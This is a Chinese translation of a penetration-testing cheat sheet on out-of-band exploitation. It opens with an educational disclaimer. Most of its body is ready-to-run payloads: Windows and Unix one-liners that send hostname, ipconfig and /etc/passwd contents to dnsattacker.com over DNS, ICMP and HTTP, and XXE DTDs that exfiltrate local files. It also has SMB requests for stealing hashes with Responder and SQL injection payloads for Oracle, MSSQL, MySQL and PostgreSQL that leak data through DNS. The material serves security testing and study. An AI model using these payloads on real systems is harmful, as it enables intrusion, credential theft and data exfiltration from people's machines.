Out of Band Exploitation (OOB) 利用技术速查表

原文链接: https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&mid=2247489561&idx=1&sn=38afd7424219c9e5561316f486e4cc9f

Out of Band Exploitation (OOB) 利用技术速查表

Ajay 和 Ashwin securitainment 2025-07-16 10:28

Out of Band Exploitation (OOB) CheatSheet

免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。

简介
:

Out-Of-Band (OOB) 带外技术为攻击者提供了一种替代方式来确认和利用原本”盲注”的漏洞。在盲注漏洞中,作为攻击者,你无法在对漏洞请求的直接响应中获得漏洞的输出。OOB 技术通常需要易受攻击的实体生成出站 TCP/UDP/ICMP 请求,然后允许攻击者窃取数据。OOB 攻击的成功基于出站防火墙规则,即从易受攻击的系统和边界防火墙允许哪些出站请求。

在本文中,Ajay(@9r4shar4j4y) 和 Ashwin(@AshwinPathak26) 制定了一个经验法则,即使用 DNS 作为 OOB 成功的最佳选择。因此,对于下面提到的所有技术,我们都重点关注 DNS。

为了本文的目的,我们尽量将受害者载荷保持为具有最小依赖性和权限的单行命令。

设置:为 DNS/OOB 查询搭建基础设施

先决条件

  1. 具有静态 IP 地址的公共服务器:
    出于演示目的,我们将使用 Google 云平台 (GCP) 提供的 VPS 服务。

  2. 注册域名:
    访问注册域名设置以将权限委托给您的名称服务器。我们将使用 oob.dnsattacker.com 进行 DNS 解析。

步骤

  1. 我们使用 Google Cloud Platform(GCP) 创建了一台具有静态 IP 地址的 linux 机器。确保您在服务器上拥有 root 权限。如果您之前没有使用 GCP 的经验,可以按照此指南创建自己的机器。

Out of Band Exploitation (OOB) 利用技术速查表

托管在 GCP 上的名称服务器
1. 我们在注册商门户的 DNS 设置中为我们的域名添加了两条记录。第一条定义了带有其名称服务器的子域。在下一步中,我们为名称服务器定义了 A 记录 (我们 GCP 服务器的 IP 地址)。这些设置现在将把子域的所有 DNS 请求路由到我们的 GCP 服务器。

Out of Band Exploitation (OOB) 利用技术速查表

Google Domains 中的名称服务器配置

  1. 我们可以使用 tcpdump 在服务器上观察 DNS 查询。

Out of Band Exploitation (OOB) 利用技术速查表

DNS 服务器设置测试

OS Command Injection (操作系统命令注入):OOB

我们可以通过让 Web 应用程序解析精心制作的 DNS 名称并查找相关的 DNS 查询来检测 OS 代码注入漏洞。

检测

DNS

攻击者
:使用 Wireshark/tcpdump 监听端口 53 来观察响应

sudo tcpdump -n port 53

注意:
在 DNS 命令中,我们也可以明确定义用于解析的名称服务器。

Windows
nslookup test.oob.dnsattacker.com

Out of Band Exploitation (OOB) 利用技术速查表

nslookup Windows

ping ping.oob.dnsattacker.com

Out of Band Exploitation (OOB) 利用技术速查表

Ping Windows

UNIX
host host.oob.dnsattacker.com

Out of Band Exploitation (OOB) 利用技术速查表

Unix host 命令

类似地,我们可以使用:

dig test.oob.dnsattacker.com
ping test.oob.dnsattacker.com
nslookup test.oob.dnsattacker.com

漏洞利用/数据窃取

DNS

注意
:使用 Wireshark/tcpdump 监听端口 53 来观察响应

tcpdump -n port 53
Windows

受害者:

cmd /v /c &#34;hostname > temp && certutil -encode temp temp2 && findstr /L /V &#34;CERTIFICATE&#34; temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.oob.dnsattacker.com && nslookup !FINAL!&#34;

攻击者:

echo &#34;encoded output&#34; |base64 -d  # 使用 base64 解码输出

Out of Band Exploitation (OOB) 利用技术速查表

发送多行和大尺寸的输出

受害者

cmd /v /c &#34;ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=Get-Content output.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){ $final=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j += 1; nslookup $final }&#34;    # 以 HEX 格式发送文件

攻击者

sudo tcpdump -n port 53 | tee file.txt

提取和构造输出:

echo &#34;0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')&#34; | xxd -r -p

Out of Band Exploitation (OOB) 利用技术速查表

限制
:需要 Powershell

Unix

受害者:

var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig  $var.$b.file.oob.dnsattacker.com; done   # 以 HEX 格式发送文件

攻击者:

sudo tcpdump -n port 53 | tee file.txt

提取和构造输出:

echo &#34;0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')&#34; | xxd -r -p

Out of Band Exploitation (OOB) 利用技术速查表

Base64 编码的文件比十六进制编码的文件尺寸更小。

受害者:

var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,&#34;&\n&#34;)}1'); do var=$((var+1)) && nslookup $var.$i.file.oob.dnsattacker.com; done# 以 base64 格式发送文件

攻击者:

cat file2.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n'|base64 -d    # 提取输出

Out of Band Exploitation (OOB) 利用技术速查表

ICMP

Windows

受害者

cmd /v /c &#34;ipconfig > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send('dnsattacker.com',60 * 1000, $sendbytes, $PingOptions);

攻击者

sudo tcpdump 'icmp and src host 202.14.120.xx' -w powericmp.pcap  # 捕获

提取:

echo &#34;0x$(tshark -n -q -r powericmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')&#34; | xxd -r -p   # 或使用 Wireshark GUI

Out of Band Exploitation (OOB) 利用技术速查表

限制:
需要 Powershell

Unix

受害者:

cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 dnsattacker.com;done

攻击者:

sudo tcpdump  'icmp and src host 202.14.120.xx' -w icmp_file.pcap # 捕获

提取

echo &#34;0x$(tshark -n -q -r icmp_file.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')&#34; | xxd -r -p   # 或使用 Wireshark GUI

Out of Band Exploitation (OOB) 利用技术速查表

HTTP

Windows

受害者:

cmd /v /c &#34;ipconfig > temp && certutil -f -encodehex temp output.hex 12 && set /p MYVAR=<output.hex && set FINAL=&#34;http://dnsattacker.com:9000/!MYVAR!&#34; && powershell Invoke-WebRequest !FINAL!&#34;

注意:
如果 powershell 不可用,使用 “mshta !Final!”。

攻击者:

echo &#34;0x$(ncat -lvp 9000 |grep -i get|tr -d '/' |cut -d ' ' -f2)&#34; |xxd -r -p

Out of Band Exploitation (OOB) 利用技术速查表

Unix

受害者:

wget --header=evil:$(ifconfig|xxd -p -c 100000) http://dnsattacker.com:9000

攻击者:

echo &#34;0x$(ncat -lvp 9000 |grep -i evil|tr -d '/' |cut -d ' ' -f2)&#34; |xxd -r -p

Out of Band Exploitation (OOB) 利用技术速查表

类似地,我们可以使用

wget –post-data exfil='cat /etc/passwd' http://dnsattacker.com           # 在 post 部分提取数据


wget –post-file trophy.php http://dnsattacker.com    # 提取源代码


cat /path/to/sensitive.txt | curl –F &#34;:data=@-&#34; http://dnsattacker.com/test.txt

SMB [使用 Responder 窃取哈希]

Windows

受害者

net use h: \\dnsattacker.com\web

攻击者

sudo ./Responder.py -I eth0 # 运行 responder 捕获哈希

Out of Band Exploitation (OOB) 利用技术速查表

类似地,我们可以使用

net use h: \\dnsattacker.com\web /user: {password} && copy {file.txt to Copy} h:\{file.txt}.txt

XXE: Out of Band

检测

XXE 可以通过创建对攻击者域名(即 oob.dnsattacker.com)的 DNS 请求来确认。一个很好的 XXE 练习平台可在这里找到。

受害者:

<?xml version=&#34;1.0&#34;?>
<!DOCTYPE foo SYSTEM &#34;http://xxeoob.oob.dnsattacker.com&#34;>
<foo>&e1;</foo>

攻击者:

sudo tcpdump -n udp port 53

Out of Band Exploitation (OOB) 利用技术速查表

限制:
截至撰写本文时,DNS 查询只能用于检测 XXE。

漏洞利用/数据窃取

HTTP

攻击者
:运行 python HTTP 服务器来托管 dtd 文件。

python -m SimpleHttpServer 9000

受害者:

<?xml version=&#34;1.0&#34; ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM &#34;http://dnsattacker.com:9000/linux.dtd&#34;>
%sp;
%param1;
]>
<r>&exfil;</r>

linux.dtd:

<!ENTITY % data SYSTEM &#34;file:///etc/passwd&#34;>
<!ENTITY % param1 &#34;<!ENTITY exfil SYSTEM 'http://dnsattacker.com:9000/%data;'>&#34;>

Out of Band Exploitation (OOB) 利用技术速查表

注意
:对于基于 Windows 的受害者机器,使用下面提到的 dtd 文件

windows.dtd

<!ENTITY % data SYSTEM &#34;file:///c:/windows/win.ini&#34;>
<!ENTITY % param1 &#34;<!ENTITY exfil SYSTEM ' http://dnsattacker.com:9000/%data;'>&#34;>

FTP

攻击者
运行 python HTTP 服务器来托管 dtd 文件和 xxeftp 服务器(参考这里)。

python -m SimpleHttpServer 9000


python xxeftp.py

受害者:

<?xml version=&#34;1.0&#34; ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM &#34;http://dnsattacker.com:9000/linux.dtd&#34;>
%sp;
%param1;
]>
<r>&exfil;</r>

linux.dtd

<!ENTITY % data SYSTEM &#34;file:///etc/passwd&#34;>
<!ENTITY % param1 &#34;<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>&#34;>

Out of Band Exploitation (OOB) 利用技术速查表

注意
:对于基于 Windows 的受害者机器,使用下面提到的 dtd 文件

windows.dtd

<!ENTITY % data SYSTEM &#34;file:///c:/windows/win.ini&#34;>
<!ENTITY % param1 &#34;<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>&#34;>

SMB [窃取哈希]

攻击者
:运行 responder 捕获哈希

sudo ./Responder.py -I eth0

受害者:

<?xml version=&#34;1.0&#34; encoding=&#34;ISO-8859-1&#34;?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM &#34;\\dnsattacker.com\test&#34; >]>
<foo>&xxe;</foo>

注意
:出于演示目的,我们将使用 CVE-2018-0878:Windows Remote Assistance XXE 漏洞

Out of Band Exploitation (OOB) 利用技术速查表

类似地,其他可能的载荷来窃取数据

http://oob.dnsattacker.com:port/%data
ftp://oob.dnsattacker.com:port/%data
gopher://oob.dnsattacker.com:port/%data%
ldap://oob.dnsattacker.com:port
\\oob.dnsattacker.com\\C$\\1.txt

SQL Injection (SQL 注入)

注意:
所有数据库服务器安装都在 Windows 上。有关详细的 SQL 注入速查表,请参考这里和这里

检测

DNS

攻击者
:使用 Wireshark/tcpdump 监听端口 53 来观察响应。

sudo tcpdump -n port 53
ORACLE
检测

受害者

SELECT DBMS_LDAP.INIT(('oob.dnsattacker.com',80) FROM DUAL;

Out of Band Exploitation (OOB) 利用技术速查表

注意:
为了使用这种技术,需要更高的权限来调用上述函数。

漏洞利用/数据窃取

受害者

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.attacker.com',80) FROM dual;    /* 提取 Oracle 数据库版本 */

Out of Band Exploitation (OOB) 利用技术速查表

类似地,我们可以使用以下载荷。

受害者

SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.com',80) FROM dual;      /* 提取 Oracle 数据库中的当前用户 */

如果您使用的是 Oracle 10G 或更低版本,创建 DNS 查询的一些替代方法是:UTL_INADDR.GET_HOST_ADDRESS、UTL_HTTP.REQUEST、HTTP_URITYPE.GETCLOB、DBMS_LDAP.INIT 和 UTL_TCP。

MSSQL
检测

受害者

EXEC master..xp_dirtree '\\oob.dnsattacker.com \' –

Out of Band Exploitation (OOB) 利用技术速查表

漏洞利用/数据窃取

受害者

DECLARE @data varchar(1024);
SELECT @data = (SELECT system_user);
EXEC('master..xp_dirtree &#34;\\'+@data+'.oob.dnsattacker.com\foo$&#34;');

Out of Band Exploitation (OOB) 利用技术速查表

限制:
为了使用这种技术,数据库用户应该具有 sysadmin 权限。

类似地,创建 DNS 查询的其他方法:xp_fileexists、xp_subdirs、xp_getfiledetails、sp_add_jobstep

MYSQL
检测

受害者:

SELECT LOAD_FILE(CONCAT('\\\\', 'oob.dnsattacker.com\\test.txt'));

Out of Band Exploitation (OOB) 利用技术速查表

漏洞利用/数据窃取

受害者

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT HEX(CONCAT(user(),&#34;\n&#34;))), '.oob.dnsattacker.com\\test.txt'));

限制
:为了使用这种技术,数据库用户应该具有 Select、update 和 File 权限。

Out of Band Exploitation (OOB) 利用技术速查表

Postgresql
检测

受害者

CREATE EXTENSION dblink;SELECT dblink_connect('host=oob.dnsattacker.com user=postgres password=password dbname=dvdrental');

Out of Band Exploitation (OOB) 利用技术速查表

限制
:用户必须具有超级用户权限才能执行 CREATE EXTENSION 查询

漏洞利用/数据窃取

受害者

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
    SELECT INTO query_result (SELECT encode(convert_to(concat(user,'     '), 'UTF8'),'hex'));
    exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.oob.dnsattacker.com\\\\foobar.txt\'';
    EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

Out of Band Exploitation (OOB) 利用技术速查表

限制:
用户必须具有超级用户权限才能执行此命令

使用 DNS 进行数据窃取的限制

  • 域名最多可以有 127 个子域。

  • 每个子域最多可以有 63 个字符长度。

  • 完整域名的最大长度为 253 个字符。

  • 由于 DNS 记录缓存,为每个请求的 URL 添加唯一值。

  • DNS 是明文通道,通过 DNS 提取的任何数据都将是明文格式,并且可供中间节点和 DNS 服务器缓存使用。因此,建议不要
    通过 DNS 窃取敏感数据。

参考资料

  • https://github.com/beefproject/beef/wiki/Installation

  • Pwning with Responder – A Pentester’s Guide

  • https://github.com/Arno0x/DNSExfiltrator

  • https://blog.zsec.uk/out-of-band-xxe-2/

  • https://github.com/api0cradle/Powershell-ICMP/blob/master/Powershell-ICM…

  • https://github.com/lukebaggett/dnscat2-powershell/blob/master/dnscat2.ps1

  • https://ss64.com/nt/certutil.html

  • https://isc.sans.edu/forums/diary/Exfiltrating+data+from+very+isolated+e…

  • Data Exfiltration with DNS in SQLi attacks

  • https://www.aldeid.com/wiki/File-transfer-via-DNS

  • PostgreSQL [Video]: Cross Database Queries using DbLink Extension